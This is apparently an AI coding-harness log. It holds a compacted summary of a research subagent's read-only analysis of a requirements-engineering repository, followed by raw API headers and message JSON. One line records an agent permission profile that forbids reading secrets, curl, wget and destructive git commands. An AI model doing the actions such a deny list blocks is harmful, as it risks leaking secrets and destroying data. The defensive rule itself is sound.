0.077, 0 identical sets or orders, maximum 0.4 (fr-validation), size ratio 1.22\u20133.30. 8 of 13 pairs have Jaccard 0.0.\\n- 50/67 runs reference no prompt. Stepwise is referenced by 14, oneshot 3, legacy 3. 11/24 prompts are never referenced.\\n- Operations: 6/13 covered by prompts. The 7 without a prompt: governance, impact_analysis, quality, release_readiness, research, reverse_requirements, risk_analysis.\\n- Processes: 1/9 used (fr-generation); 65 process labels fall outside the dictionary.\\n- Product domain declared in 5/67 runs; 66/67 runs map to more than one domain lexically.\\n\\n**research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md**\\n- 12 meta-model constructs checked against 24 prompts and 67 runs.\\n- 10 appear in none of the 24 prompts; 4 appear in neither prompts nor runs (MM-4, OPS-2, Contract, T-1 closed dictionary).\\n- Average 1.04 constructs per prompt, maximum 2, and the one present is usually version:.\\n- Gates mentioned in runs: G-self 7, G-mach 9, G-human 7, SK-4 1, EP-G1 in 1 prompt and 15 runs.\\n- Conclusion: the corpus cannot serve as the basis for new contracts. This feeds ADR-014 and LG-4.\\n\\n**research/ba-requirements/2026-09-08-kb-slot-fit-facts.md**\\n- 5 KB docs, 860 sections. 457 (53.1%) matched a specific rule, 403 (46.9%) fell to the default S-SCOPE, and 0 needed a slot outside the dictionary (dictionary has 14 slots).\\n- Profile ordinal predictions: 5/5 confirmed (3/3 pairs each).\\n- Two absolute predictions failed: S-INTEGRATION for P-API reached 19.2% against a \u226530% threshold; S-UI for speech-analytics was 3.9% against \u226510%.\\n\\n**research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md**\\n- 368 artifacts: hub 251 (68%), mango 64 (17%), clarify 53 (14%).\\n- By class: Research 173 (163 in hub), Standard 53, RFC 39, ADR 37.\\n- Status: draft 242 (65.8%), no frontmatter 53, canonical+accepted 48/368 = 13%.\\n- Graph: 3361 edges, 200 cross-repo, 19 isolated nodes. mango\u2192hub 81, hub\u2192mango 31, clarify\u2192hub 0.\\n- 8 transferable mechanisms found in clarify.\\n\\n**research/ba-requirements/2026-09-10-gigacode-environment-facts.md**\\n- 11/11 pages returned HTTP 200; 24/24 control statements found. GC-1\u2026GC-28:\\n  - SKILL.md in .agents/skills//, only name and description required, unique name, staged loading.\\n  - Agents in .opencode/agent/*.md with mode primary/subagent/all, permission, steps.\\n  - Shell access for build/test/lint. Profile forbids reading secrets, editing .git, curl, wget, git merge, git reset --hard. MCP is available.\\n  - \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed in words); \\\"\u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\\" (every claim backed by file and line).\\n  - Automatic context compression; AGENTS.md is read on every run.\\n  - GC-19: works where the result is machine-checkable. GC-20: the agent will invent whatever it doesn't know.\\n  - GigaCode developer opens PRs; MCP has 42 tools including issue_read, add_issue_comment, get_job_logs.\\n  - GC-25\u201328 skill bounds: a short rule belongs in AGENTS.md; anything needing separate permissions and isolated context is an agent.\\n- Owner's claim: 1,000,000-token hard limit (not documented, rule SK-6, check tracked as B-162).\\n- The earlier assumption \\\"SKILL.md derived by analogy\\\" is refuted.\\n- The human-gate mechanism remains undocumented.\\n\\n**research/ba-requirements/2026-09-10-skill-granularity-format-facts.md**\\n- F1: the environment does not bound skill level (confirmed).\\n- F2 and F3: lower and upper bounds.\\n- F4: return of control to the actor occurs in stepwise 10/10, oneshot 0/9, legacy 0/5. This is a perfect split.\\n- F5: oneshot does not mean atomic; 9/9 oneshot prompts contain an internal algorithm (refuted).\\n- F6: 0/33 L3 skills consist of a single operation; skills have 2\u20137 operations each.\\n- F7: 21/31 operations are used by 3 or more skills. Top reuse: check-schema 11, link-elements 8, map-to-slot 7, check-completeness 6, classify-item 6, classify-severity 6, extract-statements 6.\\n\\n**research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md** (spoke 8cbf82a, hub 15aa76f)\\n- D1: \\\"\u0424\u0422/\u0422\u0417\\\" (FR/TZ) merged in 29 places, while the ontology has 2 types (A18 feature-spec-kk, A19 tz-contract per GOST 34.602-2020).\\n- D2: \\\"draft\\\" used as a process boundary in 4 places (and it is also a lifecycle state).\\n- D3: 7/13 operations (0.538) have more than one output class; documentation has 6.\\n- D4: 8/13 operation definitions enumerate heterogeneous results.\\n- D5: 6 subprocesses (\u041f1\u2013\u041f6, gates G1\u2013G3) versus 0 in the hub.\\n- D6: System, User and Subprocess entities missing; 5 prompts require an actor.\\n- D7: 66/67 runs fall outside the process dictionary.\\n- D8: 1 branching marker (a negation) versus 2 immutability claims.\\n- Discrepancy to flag: README.md describes D3 as \\\"7 of 13 operations without a single prompt\\\" and D4 as \\\"8 of 13 require branching\\\". The facts file instead says D3 = more than one output class and D4 = enumerating definitions.\\n\\n**research/ba-requirements/README.md** (v0.5)\\n- Module map. ba-meta-model, process-taxonomy and operation-taxonomy were moved to projects/ba-ai-process/ (B-155, #573).\\n- Process taxonomy levels: L0 BABOK 6 \u2192 L1 6 families \u2192 L2 10 processes P-01\u2026P-10 \u2192 L3 33 skills.\\n- 31 operations, 5 classes.\\n\\n**Subdir BLUFs (00-introduction.md of each)**\\n- normalization:\\n  - Term \\\"Initiating Artifact\\\" with IA-1\u2026IA-7.\\n  - The main loss is coverage assessment (\u043f\u043e\u043a\u0440\u044b\u0442 41/56 vs discoverab 0), so it should be a separate operation with a gate.\\n  - The human gate is unreliable (9/56 runs shipped hallucinations), so machine-checkable grounding is required.\\n  - Recommendation: hybrid H-H. Also a universal taxonomy vs a Mango taxonomy plus a correlation matrix, and statistics as a separate process.\\n  - 13 cognitive operations left unchanged in this iteration.\\n- methodology-unification:\\n  - No unified BA methodology; 13% of knowledge is normative. Inheritance runs upward.\\n  - Two levels: governance L0 industry \u2192 L1 IT-telecom \u2192 L2 Mango deltas (D1\u2013D5) vs an execution-level resolved SKILL.md (I-1\u2026I-7).\\n  - The agent never computes deltas at runtime (resolution is a build step with a human gate).\\n  - Of 67 runs only 2 are unconditional success. Baseline: 2/32 runs with a verdict (6%) accepted without edits. Verdicts: draft 35, wwe 19, partial 8, success 2.\\n  - Roadmap B-121\u2026B-135.\\n- orchestration:\\n  - Route fixed before generation on axes A1\u2013A6 at gate HG-0, producing route sheet C-RK, which is a commitment.\\n  - Compatibility rules C1\u2013C6 and flow rules F1\u2013F6 are checked by machine.\\n  - Interruption is normal. HG-8 is the stop gate.\\n  - Routing already exists implicitly (stepwise 10 / oneshot 9 / legacy 5).\\n  - Build verdict: YAML artifact, engine redundant (30-decision-framework.md L193).\\n- solution-modeling:\\n  - The core is an object (C-CORE), not a stage. Practice has none (2/57 modeling runs, 40% multi-document from dialogue context).\\n  - Readability across actors takes priority; 12 model classes MO-1\u2026MO-12.\\n  - HG-4 owner set by A6. Build-vs-buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n  - Mango covers 6/12 model classes and 4/9 invariants.\\n- artifact-micro-structure:\\n  - 17/17 skeletons differ; arity is stable but semantics are not; captions and meanings must be separated.\\n  - UI and AC are dissolved into FR. Documents are built by projection, not concatenation.\\n  - One artifact with 3 projections. Golden Set is mandatory, synthetic, and part of G-mach.\\n  - A skill is an atomic compiled, self-contained artifact.\\n- artifact-rendering:\\n  - M2 is assembly, not writing: no new meaning may be born at render. Non-drift K5.\\n  - 23/57 runs produce multiple documents; 9 shipped fiction.\\n  - 3 render modes (deterministic RM-1, generative, hybrid RM-3) that differ by what can be proven.\\n  - H2.2: deterministic render may be impossible for a TZ.\\n  - HG-5 / HG-5.1.\\n- feedback-and-evolution:\\n  - Without M3 the pipeline cannot learn. Documents delivered in 100% of runs, measurement reliability declared in 8.8%.\\n  - 71 keys, 24 singletons, token_method with 24 values.\\n  - First task: closure-record schema C-CL. Distinguish execution, decision and process quality.\\n  - Feedback delays range from minutes to months.\\n\\n**Hypothesis 2 evidence (item 2)**\\n- research/ba-requirements/methodology-unification/10-theory.md \u00a71 and \u00a75:\\n  - Failure A: delta resolution by the model is non-deterministic (\\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\", two runs give two different sets of norms).\\n  - Gate theory. T-1: \\\"G-self \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438\u2026 \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c G-mach\\\" (G-self cannot catch a defect caused by the model's own delusion; factual properties must have G-mach).\\n- methodology-unification/40-practice-and-cases.md:\\n  - Case C-1: RUN-0018 (qwen3.7-plus, fr-validation-stepwise, 8 self-check steps) recorded hallucinations 8, shipped 1, ba_edits 6, success_rate 0.63. The run's own conclusion: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt mechanics were followed, factual accuracy was not ensured).\\n  - Case C-2: RUN-0063\u21920064\u21920067 (BCREQ-1074). 5 requirements described existing functionality. 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1. The rework applied 9 audit findings, removed 5 requirements, reduced the delta to 8 fields, and moved 9 statements to questions. RUN-0063 was marked invalid. Remedy: a delta-baseline skill with a G-mach fail-closed gate (\\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\", an empty SSOT is a refusal, not a warning). The defect was found two runs late.\\n  - Case C-3: RUN-0008/0009 norm checks were done by the model and stayed draft (gap G-13).\\n  - The BCREQ decomposition table assigns gates per skill. B-131 is the pilot delta-baseline with G-mach fail-closed (50-open-research.md).\\n- Also relevant:\\n  - GC-19/GC-20 in the GigaCode facts.\\n  - Normalization BLUF item 3.\\n  - Artifact-rendering: \\\"no new meaning born at render\\\".\\n  - Legacy: prompts are persuasive in form but carry 0 checkable constructs.\\n  - Meta-model variant Jaccard 0.077.\\n- The exact phrasing \\\"cognitive operations poorly suited to direct generation\\\" was not found verbatim. Evidence is scattered, and this should be stated honestly in the report.\\n\\n**Issue-639 findings (item 5)**\\n- The branch tip 836faaf is an ancestor of main (merged via PR #643, d718616). research/ba-requirements is identical, so there are no new files in that directory.\\n- #639 commits added these files (now on main; branch URLs are also valid):\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (508 lines, v0.1)\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md (hypotheses \u0413-01\u2026\u0413-25, v0.2 pointer)\\n  - projects/ba-ai-process/experiments/issue_639_gap_probes.sh / .log\\n  - projects/ba-ai-process/experiments/issue_639_runner_probes.py / .log (probes P10\u2013P12)\\n  - ops/backlog.md sprint 25 items B-203..B-210 and sprint 26 items B-211..B-218\\n- Runtime-options key content:\\n  - Verdict: the main gap is in the meta-model. The orchestrator role has no executor among the 11 entities (\u0413-26 refuted).\\n  - \u0413-28: 17 YAML predicates in routes/rg-bcreq-v1.yaml are not read; branches are re-coded in Python for 8 nodes (P11).\\n  - \u0413-29: \\\"lorem ipsum\\\" was accepted as output of n1\u2013n3 because the gate checks the package, not the step (P10).\\n  - \u0413-30: deterministic_share = 1.0 even with junk output, so the ADR-018 \\\"<95% after 10 tasks\\\" trigger never fires.\\n  - \u0413-31: halt is terminal, so there is no resume.\\n  - \u0413-32: one mistyped transition to n9 blocks the task permanently (P12).\\n  - \u0413-33: EP-R7 allows 1 corrective attempt, but the package uses 0.\\n  - \u0413-35: append-only digest-chain journal confirmed.\\n  - \u0413-37\u201339: clients, MCP (\\\"model-controlled\\\") and hooks cannot guarantee step order.\\n  - \u0413-41: client instability (Roo Code archived, Kilo orchestrator deprecated, Gemini CLI paid-only from 2026-06-18, Cline v4 renamed tools).\\n  - \u0413-42: GigaCode CLI provenance and hooks unverified.\\n  - Environments table: env 1 GigaCode CLI (BA drives the route manually), env 2 Cline + Mango AI via OpenAI-compatible API (the model drives the route), env 3 Qwen Chat, env 4 server.\\n  - Options matrix \u0412-0\u2026\u0412-10 against criteria \u041a1\u2013\u041a8:\\n    - Recommendation 1 = \u0412-1: runner as leader on the BA workstation.\\n    - Recommendation 2 = \u0412-3: server runner with FastAPI + FSM + Postgres, optionally LangGraph (MIT library) as \u0412-4.\\n    - n8n only as a shell (\u0412-7), not the core (\u0412-6). Reasons: CVE-2026-21858 (CVSS 10.0), graph redrawn in n8n, AI Agent node non-deterministic, Business tier \u20ac667/month.\\n    - Rejected: Dify/Flowise, Windmill/Kestra/Prefect, Camunda/Operaton, Temporal (overkill).\\n    - \u0413-54: the deferred external-engine option needs a revisit trigger (multi-user, waits longer than a session, shared journal, i.e. env 4).\\n\\n4. Errors and fixes\\n\\n- The first `git diff --stat main origin/issue-639... -- research/ba-requirements` returned empty. Investigation showed the branch is already merged into main (merge-base equals the branch tip, 0 commits ahead), so this is not an error, just a finding.\\n- One large output was persisted to a file and read via the Read tool.\\n\\n5. Problem Solving\\n\\n- Established that the branch diff is empty for research/ba-requirements, and located the #639 deliverables in projects/ba-ai-process instead.\\n- Could not find the exact wording of the cognitive-operations hypothesis. Assembled a chain of evidence from several files instead.\\n- Found the README vs facts-file wording discrepancy for D3/D4.\\n\\n6. All user messages\\n\\n- A single task message, as summarized in section 1. It includes the verbatim constraints \\\"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first)\\\", the requirements \\\"Cite every fact with the repo path. Do not invent numbers.\\\", and the URL formats for main and branch-only files.\\n- The final instruction to produce a text-only summary with no tools applies only to this summary turn.\\n\\n7. Pending Tasks\\n\\n- Write the full report to /tmp/research-notes/ba-requirements.md (the directory already exists). This is the only allowed write location.\\n- Return a concise summary to the caller (up to about 1500 words) covering items 1\u20135, with absolute URLs and paths.\\n- Optionally skim the remaining runtime-options sections (\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1/2\\\", \\\"\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\\", \\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\\" around lines 310\u2013486) and the cline-gap doc for extra facts.\\n\\n8. Current Work\\n\\nI had just read lines 126\u2013310 of projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (Layers 1\u20133, the options matrix, hypotheses \u0413-26\u2026\u0413-54, and the target Mermaid schema). All core facts for items 1\u20135 have been gathered.\\n\\n9. Optional Next Step\\n\\nWrite /tmp/research-notes/ba-requirements.md with the complete cited report (sections 1\u20135 as above, using main URLs, and noting that #639 is already merged so branch URLs are equivalent). Then return the concise summary, following the user's instruction to \\\"Write the full report to the notes file and return a concise summary (up to ~1500 words).\\\"\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. 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\"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:09.013Z] [STDOUT]     traceresponse: \"00-03ab6d40276d53e2a48daa7107c92898-04a317613dfb5a92-01\",\n[2026-09-29T07:48:09.077Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:09.090Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:09.104Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:09.114Z] [STDOUT]   },\n[2026-09-29T07:48:09.137Z] [STDOUT]   durationMs: 813,\n[2026-09-29T07:48:09.156Z] [STDOUT] }\n[2026-09-29T07:48:09.167Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:48:09.179Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:48:08 GMT\",\n[2026-09-29T07:48:09.209Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:09.213Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:09.237Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:48:09.336Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:09.350Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:09.358Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:09.364Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:48:09.370Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:09.375Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:09.379Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:09.383Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:09.391Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:09.393Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:09.396Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:09.400Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:09.403Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:09.406Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:09.408Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:09.410Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:09.418Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:09.432Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:09.439Z] [STDOUT]   \"request-id\": \"req_011CfXMxnJ98thjJPG9kSVy4\",\n[2026-09-29T07:48:09.443Z] [STDOUT]   \"traceresponse\": \"00-03ab6d40276d53e2a48daa7107c92898-04a317613dfb5a92-01\",\n[2026-09-29T07:48:09.450Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:09.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:09.468Z] [STDOUT]   \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:48:09.484Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:48:09.489Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:09.495Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:09.499Z] [STDOUT]   \"cf-ray\": \"a429623d696701ff-CDG\",\n[2026-09-29T07:48:09.505Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:48:09.508Z] [STDOUT] [log_c78a1f] response parsed {\n[2026-09-29T07:48:09.516Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:09.527Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:09.533Z] [STDOUT]   body: X {\n[2026-09-29T07:48:09.536Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:48:09.538Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:48:09.540Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:48:09.543Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:48:09.546Z] [STDOUT]     },\n[2026-09-29T07:48:09.550Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:48:09.553Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:48:09.556Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:48:09.563Z] [STDOUT]   },\n[2026-09-29T07:48:09.569Z] [STDOUT]   durationMs: 817,\n[2026-09-29T07:48:09.575Z] [STDOUT] }\n[2026-09-29T07:48:09.991Z] [INFO] {\n[2026-09-29T07:48:09.991Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:09.991Z] [INFO]   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[INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     ],\n[2026-09-29T07:48:09.991Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:09.991Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_creation_input_tokens\": 15992,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:09.991Z] [INFO]         \"ephemeral_5m_input_tokens\": 15992,\n[2026-09-29T07:48:09.991Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:09.991Z] [INFO]       },\n[2026-09-29T07:48:09.991Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:09.991Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:09.991Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:09.991Z] [INFO]     },\n[2026-09-29T07:48:09.991Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:48:09.991Z] [INFO]       {\n[2026-09-29T07:48:09.991Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:48:09.991Z] [INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     ],\n[2026-09-29T07:48:09.991Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:48:09.991Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"cache_missed_input_tokens\": 14294\n[2026-09-29T07:48:09.991Z] [INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     },\n[2026-09-29T07:48:09.991Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:09.991Z] [INFO]   },\n[2026-09-29T07:48:09.991Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"uuid\": \"3a89a7cf-fafc-4dc3-a5a7-146e31f06506\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:09.975Z\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"request_id\": \"req_011CfXMxnJ98thjJPG9kSVy4\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:48:09.991Z] [INFO] }\n[2026-09-29T07:48:10.971Z] [INFO] {\n[2026-09-29T07:48:10.971Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:10.971Z] [INFO]   \"message\": {\n[2026-09-29T07:48:10.971Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:10.971Z] [INFO]     \"id\": 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{\n[2026-09-29T07:48:10.971Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:48:10.971Z] [INFO]         }\n[2026-09-29T07:48:10.971Z] [INFO]       }\n[2026-09-29T07:48:10.971Z] [INFO]     ],\n[2026-09-29T07:48:10.971Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:10.971Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_creation_input_tokens\": 15992,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:10.971Z] [INFO]         \"ephemeral_5m_input_tokens\": 15992,\n[2026-09-29T07:48:10.971Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:10.971Z] [INFO]       },\n[2026-09-29T07:48:10.971Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:10.971Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:10.971Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:10.971Z] [INFO]     },\n[2026-09-29T07:48:10.971Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:48:10.971Z] [INFO]       {\n[2026-09-29T07:48:10.971Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:48:10.971Z] [INFO]       }\n[2026-09-29T07:48:10.971Z] [INFO]     ],\n[2026-09-29T07:48:10.971Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:48:10.971Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"cache_missed_input_tokens\": 14294\n[2026-09-29T07:48:10.971Z] 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Other branches: gh-pages, revert-340-issue-339-c354031e9147.\\nURL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/\\n\\n## 0. Git statistics\\n- 583 commits = 174 merge + 409 non-merge.\\n- By month (all / non-merge): 2026-06 267/193; 2026-07 9/7; 2026-08 269/179; 2026-09 38/30.\\n- Authors: konard 442 (AI issue solver, hive-mind: issue -> PR), Ivan Gulienko 140, other 1.\\n- First commit 53506bc 2026-06-02 \\\"Add files via upload\\\" (README.md only). Last 317a0a1 2026-09-28.\\n\\n## 1. Top-level structure (file counts)\\n- ai-governance/ (4) - constitution, security checklist (ai-governance/ai-governance.md).\\n- ai-rules/ (6) - ai-quick-rules.md (fail-closed), handover prompt, onboarding protocol v1.5, adversarial stress testing.\\n- docs/ (86) - adr/ (ADR 001-010, 0001-0004, 2026-08-adr-011-integration-task-artifacts.md), analysis/, audit/, report/, rfc/, ba-processes/, taxonomy.md, ba-ecosystem.md.\\n- experiments/ (101) - per-issue run fixation / statistics / verification scripts.\\n- kb/ (41) - README, USAGE, STRUCTURE_REVIEW, practices/source-backed-analysis.md, 